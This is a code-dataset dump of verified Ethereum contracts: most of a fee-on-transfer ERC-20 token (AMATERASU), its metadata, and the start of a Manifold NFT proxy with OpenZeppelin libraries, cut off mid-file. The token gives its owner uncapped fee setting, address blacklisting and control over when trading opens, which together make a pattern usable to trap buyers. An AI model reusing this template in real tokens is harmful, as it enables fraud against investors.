|
179 |
+
|
180 |
+
uint256 private _redisFeeOnSell = 0;
|
181 |
+
uint256 private _taxFeeOnSell = 20;
|
182 |
+
|
183 |
+
uint256 private _redisFee = _redisFeeOnSell;
|
184 |
+
uint256 private _taxFee = _taxFeeOnSell;
|
185 |
+
|
186 |
+
uint256 private _previousredisFee = _redisFee;
|
187 |
+
uint256 private _previoustaxFee = _taxFee;
|
188 |
+
|
189 |
+
mapping(address => bool) public bots;
|
190 |
+
mapping(address => uint256) private cooldown;
|
191 |
+
|
192 |
+
address payable private _developmentAddress = payable(0x46C7101e31502DB2A2C05DEA0c33B948add0b6a4);
|
193 |
+
address payable private _marketingAddress = payable(0x46C7101e31502DB2A2C05DEA0c33B948add0b6a4);
|
194 |
+
|
195 |
+
IUniswapV2Router02 public uniswapV2Router;
|
196 |
+
address public uniswapV2Pair;
|
197 |
+
|
198 |
+
bool private tradingOpen;
|
199 |
+
bool private inSwap = false;
|
200 |
+
bool private swapEnabled = true;
|
201 |
+
|
202 |
+
uint256 public _maxTxAmount = _tTotal.mul(20).div(1000);
|
203 |
+
uint256 public _maxWalletSize = _tTotal.mul(20).div(1000);
|
204 |
+
uint256 public _swapTokensAtAmount = _tTotal.mul(3).div(1000);
|
205 |
+
|
206 |
+
event MaxTxAmountUpdated(uint256 _maxTxAmount);
|
207 |
+
modifier lockTheSwap {
|
208 |
+
inSwap = true;
|
209 |
+
_;
|
210 |
+
inSwap = false;
|
211 |
+
}
|
212 |
+
|
213 |
+
constructor() {
|
214 |
+
|
215 |
+
_rOwned[_msgSender()] = _rTotal;
|
216 |
+
|
217 |
+
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
|
218 |
+
uniswapV2Router = _uniswapV2Router;
|
219 |
+
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
|
220 |
+
.createPair(address(this), _uniswapV2Router.WETH());
|
221 |
+
|
222 |
+
_isExcludedFromFee[owner()] = true;
|
223 |
+
_isExcludedFromFee[address(this)] = true;
|
224 |
+
_isExcludedFromFee[_developmentAddress] = true;
|
225 |
+
_isExcludedFromFee[_marketingAddress] = true;
|
226 |
+
|
227 |
+
emit Transfer(address(0), _msgSender(), _tTotal);
|
228 |
+
}
|
229 |
+
|
230 |
+
function name() public pure returns (string memory) {
|
231 |
+
return _name;
|
232 |
+
}
|
233 |
+
|
234 |
+
function symbol() public pure returns (string memory) {
|
235 |
+
return _symbol;
|
236 |
+
}
|
237 |
+
|
238 |
+
function decimals() public pure returns (uint8) {
|
239 |
+
return _decimals;
|
240 |
+
}
|
241 |
+
|
242 |
+
function totalSupply() public pure override returns (uint256) {
|
243 |
+
return _tTotal;
|
244 |
+
}
|
245 |
+
|
246 |
+
function balanceOf(address account) public view override returns (uint256) {
|
247 |
+
return tokenFromReflection(_rOwned[account]);
|
248 |
+
}
|
249 |
+
|
250 |
+
function transfer(address recipient, uint256 amount)
|
251 |
+
public
|
252 |
+
override
|
253 |
+
returns (bool)
|
254 |
+
{
|
255 |
+
_transfer(_msgSender(), recipient, amount);
|
256 |
+
return true;
|
257 |
+
}
|
258 |
+
|
259 |
+
function allowance(address owner, address spender)
|
260 |
+
public
|
261 |
+
view
|
262 |
+
override
|
263 |
+
returns (uint256)
|
264 |
+
{
|
265 |
+
return _allowances[owner][spender];
|
266 |
+
}
|
267 |
+
|
268 |
+
function approve(address spender, uint256 amount)
|
269 |
+
public
|
270 |
+
override
|
271 |
+
returns (bool)
|
272 |
+
{
|
273 |
+
_approve(_msgSender(), spender, amount);
|
274 |
+
return true;
|
275 |
+
}
|
276 |
+
|
277 |
+
function transferFrom(
|
278 |
+
address sender,
|
279 |
+
address recipient,
|
280 |
+
uint256 amount
|
281 |
+
) public override returns (bool) {
|
282 |
+
_transfer(sender, recipient, amount);
|
283 |
+
_approve(
|
284 |
+
sender,
|
285 |
+
_msgSender(),
|
286 |
+
_allowances[sender][_msgSender()].sub(
|
287 |
+
amount,
|
288 |
+
"ERC20: transfer amount exceeds allowance"
|
289 |
+
)
|
290 |
+
);
|
291 |
+
return true;
|
292 |
+
}
|
293 |
+
|
294 |
+
function tokenFromReflection(uint256 rAmount)
|
295 |
+
private
|
296 |
+
view
|
297 |
+
returns (uint256)
|
298 |
+
{
|
299 |
+
require(
|
300 |
+
rAmount <= _rTotal,
|
301 |
+
"Amount must be less than total reflections"
|
302 |
+
);
|
303 |
+
uint256 currentRate = _getRate();
|
304 |
+
return rAmount.div(currentRate);
|
305 |
+
}
|
306 |
+
|
307 |
+
function removeAllFee() private {
|
308 |
+
if (_redisFee == 0 && _taxFee == 0) return;
|
309 |
+
|
310 |
+
_previousredisFee = _redisFee;
|
311 |
+
_previoustaxFee = _taxFee;
|
312 |
+
|
313 |
+
_redisFee = 0;
|
314 |
+
_taxFee = 0;
|
315 |
+
}
|
316 |
+
|
317 |
+
function restoreAllFee() private {
|
318 |
+
_redisFee = _previousredisFee;
|
319 |
+
_taxFee = _previoustaxFee;
|
320 |
+
}
|
321 |
+
|
322 |
+
function _approve(
|
323 |
+
address owner,
|
324 |
+
address spender,
|
325 |
+
uint256 amount
|
326 |
+
) private {
|
327 |
+
require(owner != address(0), "ERC20: approve from the zero address");
|
328 |
+
require(spender != address(0), "ERC20: approve to the zero address");
|
329 |
+
_allowances[owner][spender] = amount;
|
330 |
+
emit Approval(owner, spender, amount);
|
331 |
+
}
|
332 |
+
|
333 |
+
function _transfer(
|
334 |
+
address from,
|
335 |
+
address to,
|
336 |
+
uint256 amount
|
337 |
+
) private {
|
338 |
+
require(from != address(0), "ERC20: transfer from the zero address");
|
339 |
+
require(to != address(0), "ERC20: transfer to the zero address");
|
340 |
+
require(amount > 0, "Transfer amount must be greater than zero");
|
341 |
+
|
342 |
+
if (from != owner() && to != owner()) {
|
343 |
+
|
344 |
+
if (!tradingOpen) {
|
345 |
+
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
|
346 |
+
}
|
347 |
+
|
348 |
+
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
|
349 |
+
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
|
350 |
+
|
351 |
+
if(to != uniswapV2Pair) {
|
352 |
+
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
|
353 |
+
}
|
354 |
+
|
355 |
+
uint256 contractTokenBalance = balanceOf(address(this));
|
356 |
+
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
|
357 |
+
|
358 |
+
if(contractTokenBalance >= _maxTxAmount)
|
359 |
+
{
|
360 |
+
contractTokenBalance = _maxTxAmount;
|
361 |
+
}
|
362 |
+
|
363 |
+
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
|
364 |
+
swapTokensForEth(contractTokenBalance);
|
365 |
+
uint256 contractETHBalance = address(this).balance;
|
366 |
+
if (contractETHBalance > 0) {
|
367 |
+
sendETHToFee(address(this).balance);
|
368 |
+
}
|
369 |
+
}
|
370 |
+
}
|
371 |
+
|
372 |
+
bool takeFee = true;
|
373 |
+
|
374 |
+
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
|
375 |
+
takeFee = false;
|
376 |
+
} else {
|
377 |
+
|
378 |
+
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
|
379 |
+
_redisFee = _redisFeeOnBuy;
|
380 |
+
_taxFee = _taxFeeOnBuy;
|
381 |
+
}
|
382 |
+
|
383 |
+
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
|
384 |
+
_redisFee = _redisFeeOnSell;
|
385 |
+
_taxFee = _taxFeeOnSell;
|
386 |
+
}
|
387 |
+
|
388 |
+
}
|
389 |
+
|
390 |
+
_tokenTransfer(from, to, amount, takeFee);
|
391 |
+
}
|
392 |
+
|
393 |
+
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
|
394 |
+
address[] memory path = new address[](2);
|
395 |
+
path[0] = address(this);
|
396 |
+
path[1] = uniswapV2Router.WETH();
|
397 |
+
_approve(address(this), address(uniswapV2Router), tokenAmount);
|
398 |
+
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
399 |
+
tokenAmount,
|
400 |
+
0,
|
401 |
+
path,
|
402 |
+
address(this),
|
403 |
+
block.timestamp
|
404 |
+
);
|
405 |
+
}
|
406 |
+
|
407 |
+
function sendETHToFee(uint256 amount) private {
|
408 |
+
_developmentAddress.transfer(amount.div(2));
|
409 |
+
_marketingAddress.transfer(amount.div(2));
|
410 |
+
}
|
411 |
+
|
412 |
+
function setTrading(bool _tradingOpen) public onlyOwner {
|
413 |
+
tradingOpen = _tradingOpen;
|
414 |
+
launchBlock = block.number;
|
415 |
+
}
|
416 |
+
|
417 |
+
function manualswap() external {
|
418 |
+
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
|
419 |
+
uint256 contractBalance = balanceOf(address(this));
|
420 |
+
swapTokensForEth(contractBalance);
|
421 |
+
}
|
422 |
+
|
423 |
+
function manualsend() external {
|
424 |
+
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
|
425 |
+
uint256 contractETHBalance = address(this).balance;
|
426 |
+
sendETHToFee(contractETHBalance);
|
427 |
+
}
|
428 |
+
|
429 |
+
function blockBots(address[] memory bots_) public onlyOwner {
|
430 |
+
for (uint256 i = 0; i < bots_.length; i++) {
|
431 |
+
bots[bots_[i]] = true;
|
432 |
+
}
|
433 |
+
}
|
434 |
+
|
435 |
+
function unblockBot(address notbot) public onlyOwner {
|
436 |
+
bots[notbot] = false;
|
437 |
+
}
|
438 |
+
|
439 |
+
function _tokenTransfer(
|
440 |
+
address sender,
|
441 |
+
address recipient,
|
442 |
+
uint256 amount,
|
443 |
+
bool takeFee
|
444 |
+
) private {
|
445 |
+
if (!takeFee) removeAllFee();
|
446 |
+
_transferStandard(sender, recipient, amount);
|
447 |
+
if (!takeFee) restoreAllFee();
|
448 |
+
}
|
449 |
+
|
450 |
+
function _transferStandard(
|
451 |
+
address sender,
|
452 |
+
address recipient,
|
453 |
+
uint256 tAmount
|
454 |
+
) private {
|
455 |
+
(
|
456 |
+
uint256 rAmount,
|
457 |
+
uint256 rTransferAmount,
|
458 |
+
uint256 rFee,
|
459 |
+
uint256 tTransferAmount,
|
460 |
+
uint256 tFee,
|
461 |
+
uint256 tTeam
|
462 |
+
) = _getValues(tAmount);
|
463 |
+
_rOwned[sender] = _rOwned[sender].sub(rAmount);
|
464 |
+
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
|
465 |
+
_takeTeam(tTeam);
|
466 |
+
_reflectFee(rFee, tFee);
|
467 |
+
emit Transfer(sender, recipient, tTransferAmount);
|
468 |
+
}
|
469 |
+
|
470 |
+
function _takeTeam(uint256 tTeam) private {
|
471 |
+
uint256 currentRate = _getRate();
|
472 |
+
uint256 rTeam = tTeam.mul(currentRate);
|
473 |
+
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
|
474 |
+
}
|
475 |
+
|
476 |
+
function _reflectFee(uint256 rFee, uint256 tFee) private {
|
477 |
+
_rTotal = _rTotal.sub(rFee);
|
478 |
+
_tFeeTotal = _tFeeTotal.add(tFee);
|
479 |
+
}
|
480 |
+
|
481 |
+
receive() external payable {}
|
482 |
+
|
483 |
+
function _getValues(uint256 tAmount)
|
484 |
+
private
|
485 |
+
view
|
486 |
+
returns (
|
487 |
+
uint256,
|
488 |
+
uint256,
|
489 |
+
uint256,
|
490 |
+
uint256,
|
491 |
+
uint256,
|
492 |
+
uint256
|
493 |
+
)
|
494 |
+
{
|
495 |
+
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
|
496 |
+
_getTValues(tAmount, _redisFee, _taxFee);
|
497 |
+
uint256 currentRate = _getRate();
|
498 |
+
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
|
499 |
+
_getRValues(tAmount, tFee, tTeam, currentRate);
|
500 |
+
|
501 |
+
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
|
502 |
+
}
|
503 |
+
|
504 |
+
function _getTValues(
|
505 |
+
uint256 tAmount,
|
506 |
+
uint256 redisFee,
|
507 |
+
uint256 taxFee
|
508 |
+
)
|
509 |
+
private
|
510 |
+
pure
|
511 |
+
returns (
|
512 |
+
uint256,
|
513 |
+
uint256,
|
514 |
+
uint256
|
515 |
+
)
|
516 |
+
{
|
517 |
+
uint256 tFee = tAmount.mul(redisFee).div(100);
|
518 |
+
uint256 tTeam = tAmount.mul(taxFee).div(100);
|
519 |
+
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
|
520 |
+
|
521 |
+
return (tTransferAmount, tFee, tTeam);
|
522 |
+
}
|
523 |
+
|
524 |
+
function _getRValues(
|
525 |
+
uint256 tAmount,
|
526 |
+
uint256 tFee,
|
527 |
+
uint256 tTeam,
|
528 |
+
uint256 currentRate
|
529 |
+
)
|
530 |
+
private
|
531 |
+
pure
|
532 |
+
returns (
|
533 |
+
uint256,
|
534 |
+
uint256,
|
535 |
+
uint256
|
536 |
+
)
|
537 |
+
{
|
538 |
+
uint256 rAmount = tAmount.mul(currentRate);
|
539 |
+
uint256 rFee = tFee.mul(currentRate);
|
540 |
+
uint256 rTeam = tTeam.mul(currentRate);
|
541 |
+
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
|
542 |
+
|
543 |
+
return (rAmount, rTransferAmount, rFee);
|
544 |
+
}
|
545 |
+
|
546 |
+
function _getRate() private view returns (uint256) {
|
547 |
+
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
|
548 |
+
|
549 |
+
return rSupply.div(tSupply);
|
550 |
+
}
|
551 |
+
|
552 |
+
function _getCurrentSupply() private view returns (uint256, uint256) {
|
553 |
+
uint256 rSupply = _rTotal;
|
554 |
+
uint256 tSupply = _tTotal;
|
555 |
+
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
|
556 |
+
|
557 |
+
return (rSupply, tSupply);
|
558 |
+
}
|
559 |
+
|
560 |
+
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
|
561 |
+
_redisFeeOnBuy = redisFeeOnBuy;
|
562 |
+
_redisFeeOnSell = redisFeeOnSell;
|
563 |
+
|
564 |
+
_taxFeeOnBuy = taxFeeOnBuy;
|
565 |
+
_taxFeeOnSell = taxFeeOnSell;
|
566 |
+
}
|
567 |
+
|
568 |
+
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
|
569 |
+
_swapTokensAtAmount = swapTokensAtAmount;
|
570 |
+
}
|
571 |
+
|
572 |
+
function toggleSwap(bool _swapEnabled) public onlyOwner {
|
573 |
+
swapEnabled = _swapEnabled;
|
574 |
+
}
|
575 |
+
|
576 |
+
function removeLimit () external onlyOwner{
|
577 |
+
_maxTxAmount = _tTotal;
|
578 |
+
_maxWalletSize = _tTotal;
|
579 |
+
}
|
580 |
+
|
581 |
+
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
|
582 |
+
_maxTxAmount = maxTxAmount;
|
583 |
+
}
|
584 |
+
|
585 |
+
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
|
586 |
+
_maxWalletSize = maxWalletSize;
|
587 |
+
}
|
588 |
+
|
589 |
+
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
|
590 |
+
for(uint256 i = 0; i < accounts.length; i++) {
|
591 |
+
_isExcludedFromFee[accounts[i]] = excluded;
|
592 |
+
}
|
593 |
+
}
|
594 |
+
}
|
organized_contracts/00/000768667f54a9fb7659e594f789d4ef3975505633b5eef967ce9c17a344aa3b/metadata.json
ADDED
@@ -0,0 +1 @@
|
|
|
|
|
1 |
+
{"ContractName":"AMATERASU","CompilerVersion":"v0.8.16+commit.07a7930e","Runs":200,"OptimizationUsed":true,"BytecodeHash":"000768667f54a9fb7659e594f789d4ef3975505633b5eef967ce9c17a344aa3b"}
|
organized_contracts/00/0008c1e6b7aa5ff81ec0fb6bcc242dce044db12c680ce9a211c9d5e491b6ae9c/contract.json
ADDED
@@ -0,0 +1,46 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
{
|
2 |
+
"language": "Solidity",
|
3 |
+
"sources": {
|
4 |
+
"contracts/SAMO.sol": {
|
5 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @title: SAMO AVATARS\n/// @author: manifold.xyz\n\nimport \"./manifold/ERC721Creator.sol\";\n\n////////////////////////////////////////////////////////////////////////////////////////////\n// //\n// //\n// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*@@,,,,,,,@@,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //\n// @@@@@@@@@@@@@@@@@@@@@@@@@%,,,,,,,,,,,,,,,,,,,,,,,,,,,,,#@@@@@@@@@@@@@@@@@@@@@@@@ //\n// @@@@@@@@@@@@@@@@@@@@%,,,,,,,,,,,,,,(#(*,,,,&&&&&&&&&,,,,,,,,*@@@@@@@@@@@@@@@@@@@ //\n// @@@@@@@@@@@@@@@@/,,,,,,,,,,,,,#&&&&&&&&&&&&&&&&&&&&&&&,,,,,,,,,,@@@@@@@@@@@@@@@@ //\n// @@@@@@@@@@@@@#,,,,,,,,,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&#,,,,,,,,,#@@@@@@@@@@@@ //\n// @@@@@@@@@@@,,,,,,,,,,,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&,,,,,,,,,,,@@@@@@@@@@ //\n// @@@@@@@@@,,,,,,,,,,/&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&,,,,,,,,,,,,@@@@@@@@ //\n// @@@@@@@,,,,,,,,,,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&,,,,,,,,,,,*@@@@@@ //\n// @@@@@%,,,,,,,,,,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&,,,,,,,,,,,,/@@@@ //\n// @@@@,,,,,,,,,,,%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&,,,,,,,,,,,,,(@@@ //\n// @@@,,,,,,,,,,,,,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&,,,,,,,,,,,,,,,,@@ //\n// @@,,,,,,,,,,,,,,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&,,,,,,,,,,,,,,,,#@ //\n// @&,,,,,,,,,,,,,%&&&&&&&&&&&&&&&&&&&&(((((##(((((&&&&&&&&&%&&&&&,,,,,,,,,,,,,,,,/ //\n// @,,,,,,,,,,,,,,&&&&&&&&&&&&&%(((((((((((((((((((((((((((((&&&&,,,,,,,,,,,,,,,,,, //\n// @,,,,,,,,,,,,,&&&&&&&&&&&&&&&(((((((((((((((((((((((((((((&&,,,,,,,,,,,,,,,,,,,, //\n// ,,,,,,,,,,,,,,,&&&&&&&&&&&&&#(((((((((((((((((((((((((((((&&,,,,,,,,,,,,,,,,,,,, //\n// ,,,,,,,,,,,,,,,%&&&&&&&&&&%(((((((((((((((((((((((((((((((%,,,,,,,,,,,,,,,,,,,,, //\n// ,,,,,,,,,,,,,,,,%&&&&&&&&(((((((((((((((((((((((((((((((((,,,,,,,,,,,,,,,,,,,,,, //\n// @,,,,,,,,,,,,,,,,###%#((((((((((((((((@@@@((((((((&@@@((((,,,,,,,,,,,,,,,,,,,,,, //\n// @,,,,,,,,,,,,,,,,#####(((((((((((((((((#((((((((((((#(((((,,,,,,,,,,,,,,,,,,,,,, //\n// @&,,,,,,,,,,,,,,,,#####(((((((((((((((((((((((((((((((((((,,,,,,,,,,,,,,,,,,,,,/ //\n// @@,,,,,,,,,,,,,,,,,,,,,((((((((((((((((((((((####((((((((*,,,,,,,,,,,,,,,,,,,,#@ //\n// @@@,,,,,,,,,,,,,,,,,,,,#(((((((((((((((((((((((((((((((((,,,,,,,,,,,,,,,,,,,,/@@ //\n// @@@@,,,,,,,,,,,,,,,,,,,##((((((((((((# (((((((,,,,,,,,,,,,,,,,,,,@@@@ //\n// @@@@@/,,,,,,,,,,,,,,,,,##%(((((((((((#########%%%%((((((,,,,,,,,,,,,,,,,,,,%@@@@ //\n// @@@@@@@,,,,,,,,,,,,,,,,##%%%(((((((((((########%(((((((,,,,,,,,,,,,,,,,,,/@@@@@@ //\n// @@@@@@@@@,,,,,,,,,,,,,,###%%%%(((((((((((((((((((((((,,,,,,,,,,,,,,,,,,,@@@@@@@@ //\n// @@@@@@@@@@@,,,,,,,,,,,,####%%%%%%((((((((((((((((((,,,,,,,,,,,,,,,,,,/@@@@@@@@@@ //\n// @@@@@@@@@@@@@#,,,,,,,,,######%%%%%%%%%%%%%%%,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@ //\n// @@@@@@@@@@@@@@@@@,,,,%%%%%%%%%%%%%%%%%%%%%%%%%,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@ //\n// @@@@@@@@@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%%%%%%#%%#/,,,,,,,,,,&@@@@@@@@@@@@@@@@@@@ //\n// @@@@@@@@@@@@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&@@@@@@@@@@@@@@@@@@@@@@@@ //\n// //\n// //\n// //\n////////////////////////////////////////////////////////////////////////////////////////////\n\n\ncontract SAMO is ERC721Creator {\n constructor() ERC721Creator(\"SAMO AVATARS\", \"SAMO\") {}\n}\n"
|
6 |
+
},
|
7 |
+
"contracts/manifold/ERC721Creator.sol": {
|
8 |
+
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\n/// @author: manifold.xyz\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\nimport \"@openzeppelin/contracts/utils/StorageSlot.sol\";\n\ncontract ERC721Creator is Proxy {\n \n constructor(string memory name, string memory symbol) {\n assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1));\n StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x2d3fC875de7Fe7Da43AD0afa0E7023c9B91D06b1;\n (bool success, ) = 0x2d3fC875de7Fe7Da43AD0afa0E7023c9B91D06b1.delegatecall(abi.encodeWithSignature(\"initialize(string,string)\", name, symbol));\n require(success, \"Initialization failed\");\n }\n \n /**\n * @dev Storage slot with the address of the current implementation.\n * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n /**\n * @dev Returns the current implementation address.\n */\n function implementation() public view returns (address) {\n return _implementation();\n }\n\n function _implementation() internal override view returns (address) {\n return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n } \n\n}\n"
|
9 |
+
},
|
10 |
+
"node_modules/@openzeppelin/contracts/proxy/Proxy.sol": {
|
11 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
|
12 |
+
},
|
13 |
+
"node_modules/@openzeppelin/contracts/utils/Address.sol": {
|
14 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) 